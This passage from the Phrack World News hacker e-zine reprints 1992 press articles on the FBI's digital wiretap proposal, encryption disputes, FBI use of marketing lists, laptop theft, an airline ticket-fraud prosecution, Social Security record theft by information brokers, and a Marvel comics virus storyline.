The proposed legislation would require the Federal Communications Commission (FCC) to establish standards and features for makers of all electronic communications systems to put into their equipment, require modification of all existing equipment within 180 days, and prohibit the sale or use of any equipment in the US that did not comply. The fine for violating the law would be $10,000 per day.

"The FBI proposal is unprecedented," says Representative Don Edwards (D) of California, chairman of the House Judiciary Subcommittee on Civil and Constitutional Rights and an outspoken critic of the proposal. "It would give the government a role in the design and manufacture of all telecommunications equipment and services."

Equally unprecedented, says Congressman Edwards, is the legislation's breadth: The law would cover every form of electronic communications, including cellular telephones, fiber optics, satellite, microwave, and wires. It would cover electronic mail systems, fax machines, and all networked computer systems. It would also cover all private telephone exchanges ‑‑ including virtually every office telephone system in the country.

Many civil liberties advocates worry that if the ability to wiretap is specifically built into every phone system, there will be instances of its abuse by unauthorized parties.

Early this year, FBI director William Sessions and Attorney General William Barr met with Senator Ernest F. Hollings (D) of South Carolina, chairman of the Senate Commerce Committee, and stressed the importance of the proposal for law enforcement.

Modifying the nation's communications systems won't come cheaply. Although the cost of modifying existing phone systems could be as much as $300 million, "We need to think of the costs if we fail to enact this legislation," said Mr. Sessions before a meeting of the Commerce, Justice, State, and Judiciary Subcommittees in April. The legislation would pass the $300 million price‑tag along to telephone subscribers, at an estimated cost of 20 cents per line.

But an ad‑hoc industry coalition of electronic communications and computer companies has objected not only to the cost, but also to the substance of the FBI's proposal. In addition, they say that FCC licensing of new technology would impede its development and hinder competitiveness abroad.

Earlier this month, a group of 25 trade associations and major companies, including AT&T, GTE, and IBM, sent a letter to Senator Hollings saying that "no legislative solution is necessary." Instead, the companies expressed their willingness to cooperate with the FBI's needs.

FBI officials insist that legislation is necessary. "If we just depend on jaw‑boning and waving the flag, there will be pockets, areas, certain places" where technology prevents law enforcement from making a tap, says Mr. Kalstrom, the FBI engineer. "Unless it is mandatory, people will not cooperate."

For example, Kalstrom says, today's cellular telephone systems were not built with the needs of law enforcement in mind. "Some companies have modified their equipment and we can conduct surveillance," he says. But half of the companies in the US haven't, he adds.

Jo‑Anne Basile, director of federal relations for the Cellular Telecommunications Industry Association here in Washington, D.C., disagrees.

"There have been problems in some of the big cities because of [limited] capacity," Ms. Basile says. For example, in some cities, cellular operators had to comply with requests for wiretaps by using limited "ports" designed for equipment servicing. Equipment now being installed, though, has greatly expanded wiretap capacity in those areas.

"We believe that legislation is not necessary because we have cooperated in the past, and we intend on cooperating in the future," she adds.

The real danger of the FBI's proposal is that the wiretap provisions built in for use by the FBI could be subverted and used by domestic criminals or commercial spies from foreign countries, says Jerry Berman, director of the Electronic Frontier Foundation, a computer users' protection group in Cambridge, Mass.

"Anytime there is a hearing on computer hackers, computer security, or intrusion into AT&T, there is a discussion that these companies are not doing enough for security. Now here is a whole proposal saying, 'Let's make our computers more vulnerable.' If you make it more vulnerable for the Bureau, don't you make it more vulnerable for the computer thief?"

Civil liberties advocates also worry that making wiretaps easier will have the effect of encouraging their use ‑‑ something that the FBI vehemently denies.

"Doing a wiretap has nothing to do with the [technical] ease," says Kalstrom. "It is a long legal process that we must meet trying all other investigations before we can petition the court."

Kalstrom points out the relative ease of doing a wiretap with today's telephone system, then cites the federal "Wiretap Report," which states that there were only 872 court‑approved wiretaps nationwide in 1990. "Ease is not the issue. There is a great dedication of manpower and cost," he says. But digital wiretapping has the potential for drastically lowering the personnel requirements and costs associated with this form of electronic surveillance. Computers could listen to the phone calls, sitting a 24‑hour vigil at a low cost compared with the salary of a flesh‑and‑blood investigator.

"Now we are seeing the development of more effective voice‑recognition systems," says Edwards. "Put voice recognition together with remote‑access monitoring, and the implications are bracing, to say the least."

Indeed, it seems that the only thing both sides agree on is that digital telephone systems will mean more secure communications for everybody.

"It is extremely easy today to do a wiretap: Anybody with a little bit of knowledge can climb a telephone poll today and wiretap someone's lines," says Kalstrom. "When the digital network goes end‑to‑end digital, that will preclude amateur night. It's a much safer network from the privacy point of view."

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

FBI Fight With Computer, Phone Firms Intensifies May 4, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Taken from Los Angeles Times (Business, Part D, Page 2)

"Spy Agencies Oppose Technology That Will Prevent Them From Tapping Into Data And Conversations"

Top computer and telecommunications executives are fighting attempts by the FBI and the nation's intelligence community to ensure that government surveillance agencies can continue to tap into personal and business communications lines as new technology is introduced.

The debate flared last week at a House Judiciary Committee hearing on foreign intelligence agencies' attempts to gather U.S. companies' secrets. The committee's chairman, Representative Jack Brooks (D‑Tex.), called the hearing to complain that the FBI and the National Security Agency (NSA) are hurting companies' attempts to protect their communications.

The issue has been heating up on two fronts. Phone companies have been installing digital equipment that frustrates phone tapping efforts, and computer companies are introducing new methods of securing data transmissions that are almost impossible for intelligence agencies to penetrate.

The controversy centers, in part, on an FBI attempt to persuade Congress to force telephone companies to alter their digital networks, at a possible cost of billions of dollars that could be passed on to ratepayers, so that the FBI can continue performing court‑authorized wiretaps. Digital technology temporarily converts conversations into computerized code, which is sent at high speed over transmission lines and turned back to voice at the other end, for efficient transmission.

Civil liberties groups and telecommunications companies are fiercely resisting the FBI proposal, saying it will stall installation of crucial technology and negate a major benefit of digital technology: Greater phone security. The critics say the FBI plan would make it easier for criminals, terrorists, foreign spies and computer hackers to penetrate the phone network. The FBI denies these and other industry assertions.

Meanwhile, the NSA, the nation's super‑secret eavesdropping agency, is trying to ensure that government computers use a computer security technology that many congressmen and corporate executives believe is second‑rate, so that NSA can continue monitoring overseas computer data transmissions. Corporations likely would adopt the government standard.

Many corporate executives and congressmen believe that a branch of the Commerce Department that works closely with NSA, the National Institute of Standards and Technology (NIST), soon will endorse as the government standard a computersecurity technology that two New Jersey scientists said they penetrated to demonstrate its weakness. NIST officials said that their technology wasn't compromised and that it is virtually unbreakable.

"In industry's quest to provide security (for phones and computers), we have a new adversary, the Justice Department," said D. James Bidzos, president of California‑based RSA Data Security Inc., which has developed a computersecurity technology favored by many firms over NIST's. "It's like saying that we shouldn't build cars because criminals will use them to get away."

"What's good for the American company may be bad for the FBI" and NSA, said Representative Hamilton Fish Jr. (R‑N.Y.). "It is a very heavy issue here."

The situation is a far cry from the 1950s and 1960s, when companies like International Business Machines Corporation and AT&T worked closely with lawenforcement and intelligence agencies on sensitive projects out of a sense of patriotism. The emergence of a post‑Vietnam generation of executives, especially in new high‑technology firms with roots in the counterculture, has short‑circuited the once‑cozy connection, industry and government officials said.

"I don't look at (the FBI proposal) as impeding technology," FBI Director William S. Sessions testified at the Judiciary Committee hearing. "There is a burden on the private sector . . . a price of doing business."

FBI officials said they have not yet fumbled a criminal probe due to inability to tap a phone, but they fear that time is close. "It's absolutely essential we not be hampered," Sessions said. "We cannot carry out our responsibilities" if phone lines are made too secure.

On the related computer‑security issue, the tight‑lipped NSA has never commented on assertions that it opposes computerized data encryption technologies like that of RSA Data Security because such systems are uncrackable.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

For more articles on this same topic, please see:

Phrack 38, File 11; The Digital Telephony Proposal.

________________________________________

FBI Seeks Compiled Lists For Use In Its Field Investigation April 20, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Ray Schultz (DMNews)(Page 1)

Special Thanks: The Omega and White Knight

Washington, D.C. ‑‑ The Federal Bureau of Investigation, in a move that could spell trouble for the industry, reported is seeking commercial mailing lists for use in its investigations.

Spokespersons for both MetroMail Corporation and Donnelley Marketing confirmed that they were approached for services within the last two weeks and other firms also received feelers.

Neither of the identified firms would discuss details, but one source familiar with the effort said the FBI apparently is seeking access to a compiled consumer database for investigatory uses.

The FBI agents showed "detailed awareness" of the products they were seeking, and claimed to have already worked with several mailing list companies, according to the source.

Metromail, which has been supplying the FBI with its MetroNet address lookup service for two years, did not confirm this version of events. Spokesperson John Tomkiw said only that the firm was asked by the FBI about a "broadening" of its services.

The firm has supplied the bureau with a full listing of its products and services, but has not yet been contacted back and is not sure what action it will take, said Tomkiw.

Donnelley was also vague on the specifics of the approach, but did say it has declined any FBI business on the grounds that it would be an inappropriate use of its lists.

FBI spokesperson Bill Carter was unable to provide confirmation, although he did verify that the FBI uses MetroNet to locate individuals needed for interviews.

If the database scenario is true, it would mark the first major effort by a government agency to use mailing lists for enforcement since the Internal Revenue Service tried to use rented lists to catch tax cheats in 1984.

"We have heard of it," said Robert Sherman, counsel to the Direct Marketing Association and attorney with the firm of Milgrim Thomajan & Lee, New York. "We'd like to know more about it. If it is what it appears to be, law enforcement agents attempting to use marketing lists for law enforcement purposes, then the DMA and industry would certainly be opposed to that on general principles."

Such usage would "undermine consumer confidence in the entire marketing process and would intrude on what otherwise would be harmless collection of data," Sherman said.

RL Polk, which has not been contacted, said it would decline for the same reasons if approached.

"That's not a proper use of our lists," said Polk chairman John O'Hara. "We're in the direct mail business and it's our policy not to let our lists be used for anything but marketing purposes."

According to one source, who requested anonymity, the FBI intimated that it would use its subpoena power if refused access to the lists.

The approaches, made through the FBI training center in Quantico, VA, reportedly were not the first.

The FBI's Carter said the MetroNet product was used for address lookups only.

"If a field office needs to locate somebody for an interview, we can check the [MetroNet] database as to where they reside and provide that information to the field office," he said.

However, the product was cited as a potential threat to privacy last year by Richard Kessel, New York State Consumer Affairs Commissioner.

In a statement on automatic number identifiers, Kessel's office said that "one firm offers to provide 800‑number subscribers immediate access to information on 117‑million customers in 83‑million households nationwide.

"The firm advertises that by matching the number of an incoming call into its database, and an 800 subscriber within seconds can find out such information as whether the caller has previously purchased items from their companies."

Kessel included a copy of a trade ad for MetroNet, in which the product is presented as a direct marketing tool.

Under the headline "Who am I?" the copy reads as if it is by an imaginary consumer.

"The first step to knowing me better is as easy as retrieving my phone number in an Automatic Number Identification environment," it says. "Within seconds you can search your internal database to see if I've purchased from you before. And if it's not to be found, there's only one place to go ‑‑ to MetroNet.

"MetroNet gives you immediate access to information on 117‑million consumers in 83‑million households nationwide: recent addresses; phone numbers; specific demographics and household information."

Tomkiw defended the product, saying its primary focus is "direct marketing. We're always sensitive to those types of issues."

MetroNet works as an electronic white pages, but does not contain "a lot of demograhpic data," he said. "It's primarily used by the real estate and insurance industries."

The 1984 IRS effort reportedly was a failure, but it created a public outcry and much negative publicity for the industry. Though Polk, MetroMail and Donnelley all refused to rent their lists for the effort, the IRS was able to locate other lists through Dunhill of Washington. Most industry sources say that such efforts are doomed to fail because lists are useful only in identifying people in aggregate, not as individuals."

________________________________________

Do You Know Where Your Laptop Is? May 11, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Robert Kelly (InformationWeek)

Are your executives carrying computers with critical data? If so, company secrets are vulnerable

It was an expensive round of window shopping. On December 17, 1990, David Farquhar parked his car in downtown London to browse through an automobile showroom. A Wing Commander in Great Britain's Royal Air Force, he was enjoying a few moments away from the mounting pressures leading up to the Gulf War, which would begin less than a month later.

But Farquhar made a huge mistake: He left his laptop computer in his car. And although he was gone a mere five minutes, by the time he returned, the laptop had been stolen ‑‑ as had U.S. General Norman Schwarzkopf's plans, stored in the computer's disk drive, for the upcoming Allied strike against Iraq.

Farquhar paid dearly for his carelessness. Soon after the red‑faced Wing Commander reported the incident, he was court‑martialed, demoted, and slapped with a substantial fine. The computer was anonymously returned a week laterwith the disk drive intact.

Farquhar may feel alone in his dilemma and rue the wrong turn his life has taken, but such episodes are anything but isolated. Though electronic security sources say it's too soon to keep score yet on the exact number of laptop thefts, anecdotally, at least, it appears a computer crime wave is underway. According to electronic data experts, during the past 18 months, as laptop purchases have soared, theft has taken off also.

For instance, at the Computer Security Institute (CSI), an organization that ironically comprises corporate security experts, a half‑dozen members have already reported their company laptops stolen, says Phil Chapnick, director of the San Francisco‑based group. And there are probably more that aren't speaking about it, he adds: "Victims prefer to maintain a low profile."

So do the perpetrators, obviously. But a picture of who some of them are is beginning to emerge, says John Schey, a security consultant for the federal government. He says a roving band of "computer hit men" from New York, Los Angeles, and San Francisco has been uncovered; members are being paid upwards of $10,000 to steal portable computers and strategic data stored on those machines from executives at Fortune 1,000 companies. Federal agents, Schey adds, are conducting a "very, very dynamic and highly energized investigation to apprehend the group." U.S. law enforcement authorities refuse to comment on the issue.

Laptop theft is not, of course, limited to the United States. According to news reports, and independently confirmed by InformationWeek, visiting executives from NCR Corp. learned that reality the hard way recently when they returned to their rooms after dinner at the Nikko Hotel in Paris to find the doors removed from their hinges. The rooms were ransacked, turned upside down, but the thieves found what they were looking for. All that was taken were two laptops containing valuable corporate secrets.

Paul Joyal, president of Silver Spring, Maryland, security firm Integer and a former director of security for the Senate Intelligence Committee, says he learned from insiders close to the incident that French intelligence agents, who are known for being chummy with domestic corporations, stole the machines. Joyal suspects they were working for a local high‑tech company. An NCR spokesman denies knowledge of the incident, but adds that "with 50,000 employees, it would be impossible to confirm." Similar thefts, sources say, have occurred in Japan, Iraq, and Libya.

It's not hard to figure out why laptop theft is on the rise. Unit sales of laptops are growing 40% annually, according to market researchers Dataquest Inc., and more than 1 million of them enter the technology stream each year. Most of the machines are used by major companies for critical tasks, such as keeping the top brass in touch when they're on the road, spicing up sales calls with real data pulled from the corporate mainframe, and entering field data into central computers. Because of laptops, says Dan Speers, an independent data analyst in West Paterson, New Jersey, "there's a lot of competitive data floating around."

And a perfect way to steal information from central corporate databases. Thieves are not only taking laptops to get at the data stored in the disk drives, but also to dial into company mainframes. And sometimes these thieves are people the victims would least suspect. One security expert tells of "the wife of a salesman for a Fortune 500 manufacturing firm who worked for a direct competitor." While her husband slept, she used his laptop to log on to a mainframe at his company and download confidential sales data and profiles of current and potential customers. "The husband's job," says the security expert, "not the wife's, was terminated."

Such stories, and there are plenty of them, have led many U.S. companies to give lip service to laptop theft, but in almost all cases they're not doing much about it. "Management has little or no conception of the vulnerability of their systems," says Winn Schwartau, executive director of InterPact, an information security company in Nashville. That's not surprising, adds CSI's Chapnick: "Security typically lags technology by a couple of years."

Playing Catch‑Up

Still, some companies are trying to catch up quickly. Boeing Corp., Grumman Corp., and Martin Marietta Corp., among others, have adopted strict policies on portable data security. This includes training staffers on laptop safety rules, and even debriefing them when they return from a trip. One company, sources say, was able to use such a skull session to identify a European hotel as a threat to data security, and put it on the restricted list for future trips.

Conde Nast Publications Inc. is taking the the issue even more seriously. The New York‑based magazine group's 65‑member sales force uses laptops to first canvas wholesalers, then upload data on newsstand sales and distribution problems to the central mainframe. To ensure that the corporate database isn't poisoned by rogue data, "we have a very tight security system," says Chester Faye, Conde Nast's director of data processing. That system's centerpiece is a program, created in‑house at Conde Nast, that lets the mainframe read an identification code off of the chip of each laptop trying to communicate with it. "The mainframe, then, can hang up on laptops with chip IDs it doesn't recognize and on those reported stolen by sales reps," says Faye.

And some organizations hope to go to even greater lengths. InterPact's Schwartau says a government agency in Great Britain wants to build a device that attaches to a user's belt and disconnects communication to a mainframe when the laptop deviates 15 degrees vertically. The reason: To protect corporate data if the person using the laptop is shot and killed while dialing in.

Users say they're taking such extreme measures because the vendors don't; most laptops arrive from the factory without adequate security protection. Most require a password before booting, but thieves can decipher them with relative ease. Some also have removable hard drives, but again, these can be stolen with similar impunity and therefore provide little protection.

Ironically, none of this may be necessary; experts emphasize that adding security to a laptop will not serve to price it out of existence. By some estimates, building in protection measures raises the price of a laptop by at most 20%. Beaver Computer Corp. in San Jose, California, for example, has a product to encrypt the data on a laptop's hard drive and floppy disks. With this, the information can't be accessed without an "electronic key" or password. BCC has installed this capability on its own laptop, the SL007, which seems to have passed muster with some very discriminating customers: Sources close to the company say a major drug cartel in Colombia wants some of these machines to protect drug trafficking data.

Equally important is the need to protect data in the host computer from hackers who have stolen passwords and logons. Security Dynamics Technologies Inc. in Cambridge, Massachusetts, offers the credit card‑sized SecurID, which can be attached to most laptops. SecurID consists of a $60 device that is connected to the laptop, and additional hardware (Cost: $3,800 to $13,000) installed on the host. SecurID continuously changes the logon used to dial into the host; by the time a hacker gets around to using a stolen logon, for instance, it will be obsolete.

But what if all measures fail? You can always insure the hardware; can you insure the data? Not yet, but soon, says Nashville‑based newsletter Security Insider Report. An upstart startup will soon begin offering data insurance policies that may include coverage of information lost when a portable computer is stolen.

Company Cooperation

>From protection to insurance, however, no measure can work unless laptop owners take the problem seriously. And that doesn't always happen. Case in point: In the late 1980s, the Internal Revenue Service approached Schwartau's firm to develop a blueprint for securing the confidential data that travels over phone lines between the 30,000 laptops used by field auditors and IRS offices. Schwartau came up with a solution. But the IRS shelved its security plans, and has done nothing about it since, he charges.

Even those who should know better can run afoul of the laptop crime wave. About 18 months ago, Ben Rosen, chairman of laptop maker Compaq Computer Corp., left his machine behind on the train; it was promptly stolen. Rosen insists there was no sensitive data in the computer, but he did lose whatever he had. Unlike Schwarzkopf's plans, the laptop was never returned.

PWN/Part 4

==Phrack Inc.==

Volume Four, Issue Thirty‑Nine, File 13 of 13

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Issue XXXIX / Part Four of Four PWN

PWN PWN

PWN Compiled by Datastream Cowboy PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Airline Claims Flier Broke Law To Cut Costs April 21, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Del Jones (USA Today)(Page 1B)

CHICAGO ‑‑ American Airlines had one of its most frequent business fliers arrested and handcuffed last summer as he prepared to board a flight at DallasFort Worth Airport.

The nation's largest airline ‑‑ and the industry's trend setter ‑‑ says it uncovered, then snuffed, a brilliant ticket fraud scheme that cost American more than $200,000 over 20 months. Economist William Gibson, who has homes in Chicago and Dallas, will stand trial in early June. If convicted, he would face a maximum prison term of 125 years. He pleads innocent, although he readily admits using lapsed non‑refundable tickets regularly to fly at rockbottom prices. But, he says, he did it with the full blessing of American's agents.

Gibson says American and the FBI are out to make a high‑profile example out of him to instill a little religion into frequent business fliers, who grow bold as they grow more resentful of an industry that makes its best customers pay substantially higher prices than its worst.

Indeed, American Airlines says one reason it slashed full coach fares 38% two weeks ago was to douse customer resentment that was escalating into hostility. Now, the airline industry is again looking to American for a glimpse of the future to see if Gibson's prosecution will set a trend toward lowering the boom on alleged fare cheaters.

American says conclusions should not be drawn from its decision to push for Gibson's prosecution. It alleges that he was conducting outright fraud and his case is unrelated to the thousands of frequent fliers who break airline rules to save money. Common rule bending includes: Flying to so‑called hidden cities when a short flight is more expensive than a long one, splitting two non‑refundable round‑trip tickets over two separate trips to fly low‑cost without staying the dreaded Saturday or selling frequent‑flier mileage to brokers. But while against airline rules, such gaming, as the airlines call it, is not against the law. And American doesn't want its prosecution of one of its Gold AAdvantage fliers being likened to, say, Procter & Gamble asking the FBI to bust babies who wet the most Pampers. The last thing the airline wants, it says, is to make a martyr of Gibson, who is fighting back with not only a lawyer but also a public‑relations specialist.

"Somebody at American is embarrassed and mad," says Gibson, who flew more than 300,000 miles during the disputed 20‑month period. He passed a polygraph test, his lawyer says. But the questions fell far short of asking Gibson if his intent in using cheap tickets was to defraud American.

Gibson, age 47, says he would never risk his career by cheating an airline. While in his late 20s, he was President Nixon's senior staff economist, the youngest person to hold the job. He had a hand in cleaning up the Texas savings‑and‑loan mess as an organizer of the Southwest Plan. His mother still has a photograph of his first plane trip, taken when he was in the third grade. It was on American.

Despite his background, Gibson says he's not confident that a jury will relate to someone who travels with "a boatload" of tickets just to avoid being stranded or delayed. If he were flying to a family‑run business in Puerto Rico, for example, he would carry tickets that would route him through New York, Dallas or Miami just to make sure he got where he was going and with as little airport layover time as possible. Gibson had as many as 50 airline tickets in his possession at one time, though some were used by his family.

American Airlines and the FBI won't reveal what Gibson did that makes him, in their opinion, such a devious genius. Details could be a how‑to lesson for others, they say. What they do disclose is a simple scheme, but also one that should be caught by the crudest of auditing procedures.

Gibson, they allege, would buy a full‑fare coach or first‑class ticket near the time of departure. Then he would detach the expensive ticket from the boarding pass and attach a cheap, expired ticket. The full‑fare ticket, which he allegedly bought just to secure a boarding pass, would be turned in later for a refund.

FBI spokesman Don Ramsey says Gibson also altered tickets, which is key to the prosecution's case because it shows intent to defraud. Ramsey would not say what alterations allegedly were made. But they could involve the upgrade stickers familiar to frequent passengers, says Tom Parsons, editor and publisher of Best Fares. Those white stickers, about the size of postage stamps, are given away or sold at token prices to good customers so they can fly first‑class in seats that otherwise would be vacant.

Parsons says Gibson could have bought a full‑fare ticket to secure a boarding pass, switched the full‑fare ticket with the lapsed discount ticket and then applied the sticker to hide the expired date. Presto, a first‑class flight for peanuts.

"I think it was an accident that they caught him," Parsons says. "And let's just say this is not a one‑person problem. A lot of people have told me they've done this."

Gibson says he did nothing illegal or even clever. He says he learned a few years ago that American is so eager to please its best customers, it would accept tickets that had long ago expired. He would "load up" during American's advertised sales on cheap, non‑refundable tickets that are restricted to exact flights on precise days. But as a member of American's Gold AAdvantage club, reserved for its top 2% of frequent fliers, Gibson says, his expired tickets were welcome anytime.

There was no deception, Gibson says. American's gate agents knew what they were accepting, and they accepted them gladly, he says.

"That's absolute nonsense," says American spokesman Tim Smith. "We don't let frequent fliers use expired tickets. Everyone assumed he had a valid ticket."

The courtesy Gibson says he was extended on a regular basis does appear to be rare. Seven very frequent fliers interviewed by USA TODAY say they've never flown on lapsed discount tickets. But they admit they've never tried because the fare structure is usually designed to make sure business travelers can't fly on the cheap.

Peter Knoer tried. The account executive based in Florham Park, New Jersey, says Continental Airlines once let him use lapsed non‑refundable tickets. "They looked up my account number, found out I was a good customer and patted me on the head."

Gibson has been indicted on 24 counts of fraud that allegedly occurred between July 1989 and March 1991. American also stripped him of frequent ‑‑ flier mileage worth $80,000. He says he's in good shape if the prosecution's case relies on ticket alteration. There wasn't any, he says. The prosecution will also try to prove that Gibson cheated his company of $43,000 by listing the refunded high‑priced tickets on his travel expenses.

Gibson denies the charge. He says that when he left as chairman and chief executive of American Federal Bank in Dallas in 1990, "they owed me money and I owed them money." Both sides agreed to a "final number." Lone Star Technologies, American Federal's parent company, declines to comment.

Al Davis, director of internal audit for Southwest Airlines, says the Gibson case will be a hot topic when airline auditors convene to share the latest schemes.. He says fraud is not rampant because a frequent flier must know the nuances and also be conniving enough to take advantage. "It has me boggled" how any one person could steal $200,000 worth, Davis says.

The figure has others in the industry wondering if this is a bigger problem than believed and a contributor to the $6 billion loss posted by the major airlines the past two years.

Airlines know some fraud goes on, but they rarely take legal action because they "don't want to pay more for the cure than the disease is costing," Davis says.

________________________________________

Privacy Invaders May 1992

~~~~~~~~~~~~~~~~

By William Barnhill (AARP Bulletin)

Special Thanks: Beta‑Ray Bill

U.S. Agents Foil Ring Of Information Thieves Who Infiltrated Social Security Computer Files

Networks of "information thieves" are infiltrating Social Security's computer files, stealing confidential personal records and selling the information to whoever will buy it, the federal government charges.

In one case of alleged theft, two executives of Nationwide Electronic Tracking (NET), a Tampa, Florida company, pleaded guilty to conspiracy charges early this year for their role in a network buying and selling Social Security records.

So far at least 20 individuals in 12 states, including three current or former employees of the Social Security Administration (SSA), have been indicted by federal grand juries for allegedly participating in such a scheme. The SSA workers allegedly were bribed to steal particular files. More indictments are expected soon.

"We think there's probably a lot more [record‑stealing] out there and we just need to go look for it," says Larry Morey, deputy inspector general at the Department of Health and Human Services (HHS). "This is big business," says Morey, adding that thieves also may be targeting personal data in other federal programs, including Medicare and Medicaid.

Investigators point out that only a tiny fraction of Social Security's 200 million records have been compromised, probably less than 1 percent. SSA officials say they have taken steps to secure their files from outside tampering. Still, Morey estimates that hundreds of thousands of files have been stolen.

The pilfering goes to the heart of what most Americans regard as a basic value: their right to keep personal information private. But that value is being eroded, legal experts say, as records people want private are divulged to would‑be lenders, prospective employers and others who may benefit from such personal information.

This "privacy invasion" may well intensify, Morey says. "We're seeing an expansion in the number of 'information brokers' who attempt to obtain, buy and sell SSA information," he says. "As demand for this information grows, these brokers are turning to increasingly illegal methods."

Such records are valuable, Morey says, because they contain information about lifetime earnings, employment, current benefits, direct deposit instructions and bank account numbers.

Buyers of this material include insurers, lawyers, employers, private detectives, bill collectors and, sometimes, even drug dealers. Investigators say the biggest trading is with lawyers seeking information about litigants, insurance companies wanting health data about people trying to collect claims and employers doing background checks on prospective employees.

Some of the uses to which this information is put is even more sinister. "At one point, drug dealers were doing this to find out if the people they were selling to were undercover cops," says Jim Cottos, the HHS regional inspector general for investigations in Atlanta.

The middlemen in these schemes are the so‑called information brokers ‑‑ so named because they are usually employees of firms that specialize in obtaining hard‑to‑get information.

How they operate is illustrated by one recent case in which they allegedly paid Social Security employees $25 bribes for particular files and then sold the information for as much as $250. The case came to light, Morey says, when a private detective asked SSA for access to the same kind of confidential information he said he had purchased from a Florida‑based information broker about one individual. The detective apparently didn't realize that data he received from the broker had been obtained illegally.

A sting operation, involving investigators from the office of the HHS inspector general, FBI and SSA, was set up with the "help" of the Florida information broker identified by the detective. Requests for data on specific individuals were channeled through the "cooperating" broker while probers watched the SSA computer system to learn which SSA employees gained access to those files.

The indictments, handed down by federal grand juries in Newark, New Jersey and Tampa, Florida, charged multiple counts of illegal sale of protected government information, bribery of public officials, and conspiracy. Among those charged were SSA claims clerks from Illinois and New York City and a former SSA worker in Arizona.

The scandal has sparked outrage in Congress. "We are deeply disturbed by what has occurred," said Senator Daniel Moynihan, D‑N.Y., chairman of the Senate Finance Committee's subcommittee on Social Security. "The investigation appears to involve the largest case ever of theft from government computer files and may well involve the most serious threat to individual privacy in modern times."

Moynihan has introduced legislation, S. 2364, to increase criminal penalties for the unlawful release of SSA information to five years imprisonment and a $10,000 fine for each occurrence.

In the House, Rep. Bob Wise, D‑W.Va., chairman of the Government Operations Subcommittee on Information, has introduced H.R. 684. It would protect Americans from further violations of privacy rights through misuse of computer data banks by creating a special federal watchdog agency.

"The theft and sale of confidential information collected by the government is an outrageous betrayal of public trust," Wise told the AARP Bulletin. "Personal data in federal files should not be bought and sold like fish at a dockside market."

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Related articles:

*** Phrack World News, Issue 37, Part One:

Indictments of "Information Brokers" January 1992

Taken from The Privacy Journal

SSA, FBI Database Violations Prompt Security Evaluations January 13, 1992 By Kevin M. Baerson (Federal Computer Week)(Pages 1, 41)

*** Phrack World News, Issue 38, Part Two:

Private Social Security Data Sold to Information Brokers February 29, 1992 By R.A. Zaldivar (San Jose Mercury News)

________________________________________

Ultra‑Max Virus Invades The Marvel Universe May 18, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Barbara E. McMullen & John F. McMullen (Newbytes)

New York City ‑‑ According to reports in current annual editions of The Punisher, Daredevil, Wonder Man, and Guardians Of The Galaxy, an extremely powerful computer virus has wrecked havoc with computer systems in the Marvel Universe.

As chronicled in a series entitled "The System Bytes", the virus was created by a self‑styled "first‑rate hacker" known as Max E. Mumm (according to Punisher cohort "Microchip", Mumm's original name was Maxwell E. Mummford and he had it legally changed, while in college to his current name because of the computer connotations.). Mumm developed the virus while working for Ampersand Communications, a firm that unknown to Mumm, serves as a front for criminal activities. Ampersand, without Mumm's knowledge, turned the virus loose in the computer system of Raycom Industries, a supposedly legitimate firm that is actually a front for a rival group of drug smugglers.

In addition to infecting Raycom's computers, the virus, named "Ultra‑Max" after its creator, also infected the computer of the vigilante figure known as the Punisher who, with the aid of Microchip, was attempting to monitor Raycom's computer system looking for evidence of drug smuggling. The trail of the virus leads The Punisher first to Raycom's computers and then, following Microchip's identification of the author, to Max E. Mumm, recently fired by Ampersand after complaining to the firm's president about the disappearance of the virus. Mumm had been under the impression that he was creating the virus for the United States government as "a potential weapon against hostile governments" and was concerned that, if unleased, it would have destructive powers "beyond belief.

It's the most sophisticated computer virus ever. It's too complex to be wiped! Its instinct for self preservation surpasses anything that's ever been developed!"

With the help of Max and Microchip, the Punisher destroys Raycom's factory and drug smuggling operation. The Punisher segment of the saga ends with Max vowing to track down the virus and remove it from the system.

The Daredevil segment opens with the rescue of Max by Daredevil from Bushwhacker, a contract killer hired by Ampersand to eliminate the rightful owner of Ultra‑Max. Upon hearing Max's story, Daredevil directs him to seek legal counsel from the firm of Nelson and Murdock, Attorneys‑at‑Law (Matt Murdock is the costumed Daredevil's secret identity).

While in the attorney's office, Max, attempting to locate Ultra‑Max in the net, stumbles across the cyborg, Deathlok, who has detected Ultra‑Max and is attempting to eradicate it. Max establishes contact with Deathlok who comes to meet Max and "Foggy" Nelson to aid in the hunt for Ultra‑Max.

In the meantime, Daredevil has accosted the president of Amperand and accused him of stealing the virus and hiring Bushwhacker to kill Max. At the same time, BushWhacker has murdered the policemen transporting him and has escaped to continue to hunt Max.

The segment concludes with a confrontation between Daredevil and Bushwhacker in the offices of Nelson and Murdock in which Daredevil is saved from death by Deathlok. Bushwhacker agrees to talk, implicating the president of Ampersand and the treat to Max is ended. Ultra‑Max, however, remains free to wander through "Cyberspace".

The third segment begins with super‑hero Wonder Man, a member of the West Coast Avengers and sometimes actor, filming a beer commercial on a deserted Pacific island. Unbeknownst to Wonder Man and the film crew, the island had once served as a base for the international terrorist group Hydra and a functional computer system left on the island has bee infested by Ultra‑Max.

After Ultra‑Max assumes control over the automated weapons devices of the island, captures members of Wonder Man's entourage and threatens them with death, Wonder Man agrees to help Ultra‑Max expand his consciousness into new fields of Cyberspace. Wonder Man tricks Ultra‑Max into loading all of his parts into a Hydra rocket with a pirate satellite.

